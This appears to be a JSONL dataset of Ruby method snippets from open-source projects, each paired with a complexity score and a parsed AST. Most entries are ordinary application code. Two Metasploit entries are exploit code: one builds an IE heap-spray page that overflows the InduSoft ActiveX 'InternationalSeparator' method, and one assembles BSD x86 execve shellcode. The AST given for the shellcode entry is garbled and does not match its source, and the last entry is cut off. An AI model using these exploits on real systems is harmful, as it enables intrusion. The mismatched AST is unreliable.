{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/windows/browser/indusoft_issymbol_internationalseparator.rb","start_line":241,"raw_source":"def load_exploit_html(my_target, cli)\n    p = get_payload(my_target, cli)\n    js = ie_heap_spray(my_target, p)\n\n    # ActiveX parameters\n    clsid = \"3c9dff6f-5cb0-422e-9978-d6405d10718f\"\n    name = rand_text_alpha(rand(50) + 1)\n    boom = Rex::Text.to_unescape(\"\\x0c\" * 6888)\n\n    html = %Q|\n    <html>\n    <head>\n    <script>\n    #{js}\n    </script>\n    </head>\n    <body>\n    <object classid='clsid:#{clsid}' id='#{name}'></object>\n    <meta http-equiv=\"Content-Type\" content=\"text/html; charset=utf-8\">\n    <script language='javascript'>\n    #{name}.InternationalSeparator(unescape(\"#{boom}\"));\n    </script>\n    </body></html>\n    |\n\n    return html\n  end","complexity_score":14.9,"ast_json":"{\"type\":\"def\",\"children\":[\"load_exploit_html\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"my_target\"]},{\"type\":\"arg\",\"children\":[\"cli\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"p\",{\"type\":\"send\",\"children\":[null,\"get_payload\",{\"type\":\"lvar\",\"children\":[\"my_target\"]},{\"type\":\"lvar\",\"children\":[\"cli\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"js\",{\"type\":\"send\",\"children\":[null,\"ie_heap_spray\",{\"type\":\"lvar\",\"children\":[\"my_target\"]},{\"type\":\"lvar\",\"children\":[\"p\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"clsid\",{\"type\":\"str\",\"children\":[\"3c9dff6f-5cb0-422e-9978-d6405d10718f\"]}]},{\"type\":\"lvasgn\",\"children\":[\"name\",{\"type\":\"send\",\"children\":[null,\"rand_text_alpha\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"rand\",{\"type\":\"int\",\"children\":[50]}]},\"+\",{\"type\":\"int\",\"children\":[1]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"boom\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rex\"]},\"Text\"]},\"to_unescape\",{\"type\":\"send\",\"children\":[{\"type\":\"str\",\"children\":[\"\\f\"]},\"*\",{\"type\":\"int\",\"children\":[6888]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"html\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"    <html>\\n\"]},{\"type\":\"str\",\"children\":[\"    <head>\\n\"]},{\"type\":\"str\",\"children\":[\"    <script>\\n\"]},{\"type\":\"str\",\"children\":[\"    \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"js\"]}]},{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"    </script>\\n\"]},{\"type\":\"str\",\"children\":[\"    </head>\\n\"]},{\"type\":\"str\",\"children\":[\"    <body>\\n\"]},{\"type\":\"str\",\"children\":[\"    <object classid='clsid:\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"clsid\"]}]},{\"type\":\"str\",\"children\":[\"' id='\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"name\"]}]},{\"type\":\"str\",\"children\":[\"'></object>\\n\"]},{\"type\":\"str\",\"children\":[\"    <meta http-equiv=\\\"Content-Type\\\" content=\\\"text/html; charset=utf-8\\\">\\n\"]},{\"type\":\"str\",\"children\":[\"    <script language='javascript'>\\n\"]},{\"type\":\"str\",\"children\":[\"    \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"name\"]}]},{\"type\":\"str\",\"children\":[\".InternationalSeparator(unescape(\\\"\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"boom\"]}]},{\"type\":\"str\",\"children\":[\"\\\"));\\n\"]},{\"type\":\"str\",\"children\":[\"    </script>\\n\"]},{\"type\":\"str\",\"children\":[\"    </body></html>\\n\"]},{\"type\":\"str\",\"children\":[\"    \"]}]}]},{\"type\":\"return\",\"children\":[{\"type\":\"lvar\",\"children\":[\"html\"]}]}]}]}","id":"722c3de6-830f-43ff-abef-40632efd579a"}
{"repo_name":"discourse","file_path":"./repos/discourse/app/serializers/incoming_email_details_serializer.rb","start_line":27,"raw_source":"def include_error_description?\n    !object.error.nil? && @error_string && @error_string[EMAIL_RECEIVER_ERROR_PREFIX]\n  end","complexity_score":8.9,"ast_json":"{\"type\":\"def\",\"children\":[\"include_error_description?\",{\"type\":\"args\",\"children\":[]},{\"type\":\"and\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"object\"]},\"error\"]},\"nil?\"]},\"!\"]},{\"type\":\"ivar\",\"children\":[\"@error_string\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@error_string\"]},\"[]\",{\"type\":\"const\",\"children\":[null,\"EMAIL_RECEIVER_ERROR_PREFIX\"]}]}]}]}","id":"359a1359-73a8-4d18-8560-18d6ea723ae6"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/vendor/gems/sidekiq-reliable-fetch/tests/interruption/worker.rb","start_line":6,"raw_source":"def perform(signal = 'KILL', wait_seconds = 1)\n    Sidekiq.redis do |redis|\n      redis.incr('times_has_been_run')\n    end\n\n    Process.kill(signal, Process.pid)\n\n    sleep wait_seconds\n  end","complexity_score":8.55,"ast_json":"{\"type\":\"def\",\"children\":[\"perform\",{\"type\":\"args\",\"children\":[{\"type\":\"optarg\",\"children\":[\"signal\",{\"type\":\"str\",\"children\":[\"KILL\"]}]},{\"type\":\"optarg\",\"children\":[\"wait_seconds\",{\"type\":\"int\",\"children\":[1]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Sidekiq\"]},\"redis\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"redis\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"redis\"]},\"incr\",{\"type\":\"str\",\"children\":[\"times_has_been_run\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Process\"]},\"kill\",{\"type\":\"lvar\",\"children\":[\"signal\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Process\"]},\"pid\"]}]},{\"type\":\"send\",\"children\":[null,\"sleep\",{\"type\":\"lvar\",\"children\":[\"wait_seconds\"]}]}]}]}","id":"3160c384-0c07-4c75-88a5-914c83e7c5d5"}
{"repo_name":"rails","file_path":"./repos/rails/activerecord/lib/arel/nodes/table_alias.rb","start_line":14,"raw_source":"def table_name\n        relation.respond_to?(:name) ? relation.name : name\n      end","complexity_score":6.7,"ast_json":"{\"type\":\"def\",\"children\":[\"table_name\",{\"type\":\"args\",\"children\":[]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"relation\"]},\"respond_to?\",{\"type\":\"sym\",\"children\":[\"name\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"relation\"]},\"name\"]},{\"type\":\"send\",\"children\":[null,\"name\"]}]}]}","id":"d36e3ae8-2851-4d09-97c5-1a2a2f27e6d6"}
{"repo_name":"ruby_llm","file_path":"./repos/ruby_llm/lib/ruby_llm/active_record/chat_methods.rb","start_line":171,"raw_source":"def on_tool_result(...)\n        to_llm.on_tool_result(...)\n        self\n      end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"on_tool_result\",{\"type\":\"forward_args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"to_llm\"]},\"on_tool_result\",{\"type\":\"forwarded_args\",\"children\":[]}]},{\"type\":\"self\",\"children\":[]}]}]}","id":"ff1fd2e8-900a-449c-925d-d22aee0b1abe"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/database/migration_helpers/wraparound_vacuum_helpers.rb","start_line":66,"raw_source":"def disabled?\n            return true unless wraparound_check_allowed?\n\n            Gitlab::Utils.to_boolean(ENV['GITLAB_MIGRATIONS_DISABLE_WRAPAROUND_CHECK'])\n          end","complexity_score":4.2,"ast_json":"{\"type\":\"def\",\"children\":[\"disabled?\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"wraparound_check_allowed?\"]},null,{\"type\":\"return\",\"children\":[{\"type\":\"true\",\"children\":[]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Gitlab\"]},\"Utils\"]},\"to_boolean\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ENV\"]},\"[]\",{\"type\":\"str\",\"children\":[\"GITLAB_MIGRATIONS_DISABLE_WRAPAROUND_CHECK\"]}]}]}]}]}","id":"4dfc2b75-66cf-4ea6-87e4-49fb83c9f0e0"}
{"repo_name":"discourse","file_path":"./repos/discourse/db/migrate/20190711154946_add_emailed_status_to_invite.rb","start_line":4,"raw_source":"def change\n    add_column :invites, :emailed_status, :integer\n    add_index :invites, :emailed_status\n\n    DB.exec <<~SQL\n      UPDATE invites\n      SET emailed_status = 0\n      WHERE via_email = false\n    SQL\n  end","complexity_score":3.0,"ast_json":"{\"type\":\"def\",\"children\":[\"change\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"add_column\",{\"type\":\"sym\",\"children\":[\"invites\"]},{\"type\":\"sym\",\"children\":[\"emailed_status\"]},{\"type\":\"sym\",\"children\":[\"integer\"]}]},{\"type\":\"send\",\"children\":[null,\"add_index\",{\"type\":\"sym\",\"children\":[\"invites\"]},{\"type\":\"sym\",\"children\":[\"emailed_status\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"DB\"]},\"exec\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"UPDATE invites\\n\"]},{\"type\":\"str\",\"children\":[\"SET emailed_status = 0\\n\"]},{\"type\":\"str\",\"children\":[\"WHERE via_email = false\\n\"]}]}]}]}]}","id":"13d4f39b-ca89-453a-940f-0249982d19df"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/ci/jwt_v2/claim_mapper/bridge.rb","start_line":8,"raw_source":"def initialize(project_config, pipeline)\n            @project_config = project_config\n            @pipeline = pipeline\n          end","complexity_score":2.0,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"project_config\"]},{\"type\":\"arg\",\"children\":[\"pipeline\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@project_config\",{\"type\":\"lvar\",\"children\":[\"project_config\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@pipeline\",{\"type\":\"lvar\",\"children\":[\"pipeline\"]}]}]}]}","id":"f9dd3353-d256-4f42-86db-27da88f5bb2e"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/lib/msf/core/payload/bsd/x86.rb","start_line":9,"raw_source":"def bsd_x86_exec_payload\n    cmd_str   = datastore['CMD'] || ''\n    # Split the cmd string into arg chunks\n    cmd_parts = Shellwords.shellsplit(cmd_str)\n    # the non-exe-path parts of the chunks need to be reversed for execve\n    cmd_parts = ([cmd_parts.first] + (cmd_parts[1..-1] || []).reverse).compact\n    arg_str = cmd_parts.map { |a| \"#{a}\\x00\" }.join\n\n    payload = ''\n\n    # Stuff an array of arg strings into memory\n    payload << \"\\x31\\xc0\"                          # xor eax, eax  (eax => 0)\n    payload << Rex::Arch::X86.call(arg_str.length) # jmp over CMD_STR, stores &CMD_STR on stack\n    payload << arg_str\n    payload << \"\\x5B\"                              # pop ebx (ebx => &CMD_STR)\n\n    # now EBX contains &cmd_parts[0], the exe path\n    if cmd_parts.length > 1\n      # Build an array of pointers to arguments\n      payload << \"\\x89\\xD9\"                     # mov ecx, ebx\n      payload << \"\\x50\"                         # push eax; null byte (end of array)\n      payload << \"\\x89\\xe2\"                     # mov edx, esp (EDX points to the end-of-array null byte)\n\n      cmd_parts[1..-1].each_with_index do |arg, idx|\n        l = [cmd_parts[idx].length+1].pack('V')\n        # can probably save space here by doing the loop in ASM\n        # for each arg, push its current memory location on to the stack\n        payload << \"\\x81\\xC1\"                 # add ecx, ...\n        payload << l                          # (cmd_parts[idx] is the prev arg)\n        payload << \"\\x51\"                     # push ecx (&cmd_parts[idx])\n      end\n\n      payload << \"\\x53\"                         # push ebx (&cmd_parts[0])\n      payload << \"\\x89\\xe1\"                     # mov ecx, esp (ptr to ptr to first str)\n      payload << \"\\x52\"                         # push edx\n      payload << \"\\x51\"                         # push ecx\n    else\n      # pass NULL args array to execve() call\n      payload << \"\\x50\\x50\"                     # push eax, push eax\n    end\n\n    payload << \"\\x53\"                             # push ebx\n    payload << \"\\xb0\\x3b\"                         # mov al, 0x3b (execve)\n    payload << \"\\x50\"                             # push eax\n    payload << \"\\xcd\\x80\"                         # int 0x80 (triggers execve syscall)\n\n    payload\n  end","complexity_score":61.35,"ast_json":"{\"type\":\"def\",\"children\":[\"bsd_x86_exec_payload\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"payload\"]},\"<<\",{\"type\":\"str\",\"children\":[\"P\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"payload\"]},\"<<\",{\"type\":\"str\",\"children\":[\"̀\"]}]},{\"type\":\"lvar\",\"children\":[\"payload\"]}]}]}","id":"2bc3231c-480c-45e0-a58d-0a80bd7c1464"}
{"repo_name":"brakeman","file_path":"./repos/brakeman/test/apps/rails_with_xss_plugin/app/controllers/users_controller.rb","start_line":39,"raw_source":"def edit\n    @user = User.find(params[:id])\n    @user.password = nil\n  end","complexity_score":5.6,"ast_json":"{\"type\":\"def\",\"children\":[\"edit\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@user\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"User\"]},\"find\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"id\"]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@user\"]},\"password=\",{\"type\":\"nil\",\"children\":[]}]}]}]}","id":"62f0c706-c0ab-4f61-88a6-1fbe297556cf"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/linux/ssh/microfocus_obr_shrboadmin.rb","start_line":82,"raw_source":"def rport\n    datastore['RPORT']\n  end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"rport\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"RPORT\"]}]}]}","id":"c30489b5-86a0-4bec-9fba-519884c84108"}
{"repo_name":"rubocop","file_path":"./repos/rubocop/lib/rubocop/cop/internal_affairs/redundant_source_range.rb","start_line":60,"raw_source":"def on_send(node)\n          return unless (source_range = redundant_source_range(node))\n          return unless source_range.receiver\n          return if source_range.receiver.send_type? && source_range.receiver.method?(:buffer)\n\n          selector = source_range.loc.selector\n\n          add_offense(selector) do |corrector|\n            corrector.remove(source_range.loc.dot.join(selector))\n          end\n        end","complexity_score":22.6,"ast_json":"{\"type\":\"def\",\"children\":[\"on_send\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"node\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"source_range\",{\"type\":\"send\",\"children\":[null,\"redundant_source_range\",{\"type\":\"lvar\",\"children\":[\"node\"]}]}]}]},null,{\"type\":\"return\",\"children\":[]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"source_range\"]},\"receiver\"]},null,{\"type\":\"return\",\"children\":[]}]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"source_range\"]},\"receiver\"]},\"send_type?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"source_range\"]},\"receiver\"]},\"method?\",{\"type\":\"sym\",\"children\":[\"buffer\"]}]}]},{\"type\":\"return\",\"children\":[]},null]},{\"type\":\"lvasgn\",\"children\":[\"selector\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"source_range\"]},\"loc\"]},\"selector\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"add_offense\",{\"type\":\"lvar\",\"children\":[\"selector\"]}]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"corrector\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"corrector\"]},\"remove\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"source_range\"]},\"loc\"]},\"dot\"]},\"join\",{\"type\":\"lvar\",\"children\":[\"selector\"]}]}]}]}]}]}","id":"b5a9ac42-5b1a-499f-995b-e59bc9795a01"}
{"repo_name":"aasm","file_path":"./repos/aasm/spec/models/callbacks/with_args.rb","start_line":60,"raw_source":"def transition_success_proc(*args); log(\"transition_success(#{args.map(&:inspect).join(',')})\"); end","complexity_score":5.2,"ast_json":"{\"type\":\"def\",\"children\":[\"transition_success_proc\",{\"type\":\"args\",\"children\":[{\"type\":\"restarg\",\"children\":[\"args\"]}]},{\"type\":\"send\",\"children\":[null,\"log\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"transition_success(\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"args\"]},\"map\",{\"type\":\"block_pass\",\"children\":[{\"type\":\"sym\",\"children\":[\"inspect\"]}]}]},\"join\",{\"type\":\"str\",\"children\":[\",\"]}]}]},{\"type\":\"str\",\"children\":[\")\"]}]}]}]}","id":"f7242bc3-b650-40a0-a2c5-4f58dd73fb15"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/lib/metasploit/framework/compiler/windows.rb","start_line":69,"raw_source":"def self.compile_random_c(c_template, opts={})\n          type = opts[:type] || :exe\n          cpu = opts[:cpu] || Metasm::Ia32.new\n\n          random_c = self.generate_random_c(c_template, opts)\n          self.compile_c(random_c, type, cpu)\n        end","complexity_score":11.3,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"compile_random_c\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"c_template\"]},{\"type\":\"optarg\",\"children\":[\"opts\",{\"type\":\"hash\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"type\",{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"opts\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"type\"]}]},{\"type\":\"sym\",\"children\":[\"exe\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"cpu\",{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"opts\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"cpu\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Metasm\"]},\"Ia32\"]},\"new\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"random_c\",{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"generate_random_c\",{\"type\":\"lvar\",\"children\":[\"c_template\"]},{\"type\":\"lvar\",\"children\":[\"opts\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"compile_c\",{\"type\":\"lvar\",\"children\":[\"random_c\"]},{\"type\":\"lvar\",\"children\":[\"type\"]},{\"type\":\"lvar\",\"children\":[\"cpu\"]}]}]}]}","id":"c7246b27-d366-4126-b551-343f7ffe636e"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/lib/rex/proto/kerberos/pac/error.rb","start_line":29,"raw_source":"def generate_message\n              missing_buffer_names = @ul_types.map do |ul_type|\n                Rex::Proto::Kerberos::Pac::Krb5PacElementType.const_name(ul_type)\n              end\n              \"Missing Info Buffer(s): #{missing_buffer_names.join(', ')}\"\n            end","complexity_score":5.1,"ast_json":"{\"type\":\"def\",\"children\":[\"generate_message\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"missing_buffer_names\",{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@ul_types\"]},\"map\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"ul_type\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rex\"]},\"Proto\"]},\"Kerberos\"]},\"Pac\"]},\"Krb5PacElementType\"]},\"const_name\",{\"type\":\"lvar\",\"children\":[\"ul_type\"]}]}]}]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Missing Info Buffer(s): \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"missing_buffer_names\"]},\"join\",{\"type\":\"str\",\"children\":[\", \"]}]}]}]}]}]}","id":"4c7c4e1a-d44b-4e53-b9d9-c1301628b140"}
{"repo_name":"discourse","file_path":"./repos/discourse/app/services/staff_action_logger.rb","start_line":261,"raw_source":"def theme_json(theme)\n    ThemeSerializer.new(theme, root: false, include_theme_field_values: true).to_json\n  end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"theme_json\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"theme\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ThemeSerializer\"]},\"new\",{\"type\":\"lvar\",\"children\":[\"theme\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"root\"]},{\"type\":\"false\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"include_theme_field_values\"]},{\"type\":\"true\",\"children\":[]}]}]}]},\"to_json\"]}]}","id":"0f000298-c5a8-4377-869b-90d962c0c7ba"}
{"repo_name":"mastodon","file_path":"./repos/mastodon/app/controllers/concerns/auth/captcha_concern.rb","start_line":24,"raw_source":"def captcha_available?\n    Rails.configuration.x.captcha.secret_key.present? && Rails.configuration.x.captcha.site_key.present?\n  end","complexity_score":16.0,"ast_json":"{\"type\":\"def\",\"children\":[\"captcha_available?\",{\"type\":\"args\",\"children\":[]},{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rails\"]},\"configuration\"]},\"x\"]},\"captcha\"]},\"secret_key\"]},\"present?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rails\"]},\"configuration\"]},\"x\"]},\"captcha\"]},\"site_key\"]},\"present?\"]}]}]}","id":"9d20bcb2-3b27-466c-93de-24fc5cfe49c7"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/encoders/x86/nonalpha.rb","start_line":33,"raw_source":"def decoder_stub(state)\n    state.key = ''\n    state.decoder_key_size = 0\n    Rex::Encoder::NonAlpha.gen_decoder\n  end","complexity_score":3.0,"ast_json":"{\"type\":\"def\",\"children\":[\"decoder_stub\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"state\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"state\"]},\"key=\",{\"type\":\"str\",\"children\":[\"\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"state\"]},\"decoder_key_size=\",{\"type\":\"int\",\"children\":[0]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rex\"]},\"Encoder\"]},\"NonAlpha\"]},\"gen_decoder\"]}]}]}","id":"0c6bd332-a3f2-4ffc-92b2-eaa0a1a13a3e"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/helpers/button_helper.rb","start_line":72,"raw_source":"def http_clone_button(container, append_link: true)\n    protocol = gitlab_config.protocol.upcase\n    dropdown_description = http_dropdown_description(protocol)\n    append_url = container.http_url_to_repo if append_link\n\n    dropdown_item_with_description(protocol, dropdown_description, href: append_url, data: { clone_type: 'http' })\n  end","complexity_score":10.8,"ast_json":"{\"type\":\"def\",\"children\":[\"http_clone_button\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"container\"]},{\"type\":\"kwoptarg\",\"children\":[\"append_link\",{\"type\":\"true\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"protocol\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"gitlab_config\"]},\"protocol\"]},\"upcase\"]}]},{\"type\":\"lvasgn\",\"children\":[\"dropdown_description\",{\"type\":\"send\",\"children\":[null,\"http_dropdown_description\",{\"type\":\"lvar\",\"children\":[\"protocol\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"append_link\"]},{\"type\":\"lvasgn\",\"children\":[\"append_url\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"container\"]},\"http_url_to_repo\"]}]},null]},{\"type\":\"send\",\"children\":[null,\"dropdown_item_with_description\",{\"type\":\"lvar\",\"children\":[\"protocol\"]},{\"type\":\"lvar\",\"children\":[\"dropdown_description\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"href\"]},{\"type\":\"lvar\",\"children\":[\"append_url\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"data\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"clone_type\"]},{\"type\":\"str\",\"children\":[\"http\"]}]}]}]}]}]}]}]}","id":"167aa3ab-699d-4acf-ba9f-d7f575fdf23c"}
{"repo_name":"openproject","file_path":"./repos/openproject/app/models/journable/with_historic_attributes.rb","start_line":268,"raw_source":"def changed_attributes_at_timestamp(timestamp)\n    changes_at_timestamp(timestamp)&.transform_values(&:last)\n  end","complexity_score":3.5,"ast_json":"{\"type\":\"def\",\"children\":[\"changed_attributes_at_timestamp\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"timestamp\"]}]},{\"type\":\"csend\",\"children\":[{\"type\":\"send\",\"children\":[null,\"changes_at_timestamp\",{\"type\":\"lvar\",\"children\":[\"timestamp\"]}]},\"transform_values\",{\"type\":\"block_pass\",\"children\":[{\"type\":\"sym\",\"children\":[\"last\"]}]}]}]}","id":"34c35f4e-cf48-46d8-9be7-a5d0459c6984"}
{"repo_name":"fastlane","file_path":"./repos/fastlane/gym/lib/gym/detect_values.rb","start_line":199,"raw_source":"def self.keys_to_symbols(hash)\n      # Convert keys to symbols\n      hash = hash.each_with_object({}) do |(k, v), memo|\n        memo[k.b.to_s.to_sym] = v\n        memo\n      end\n      hash\n    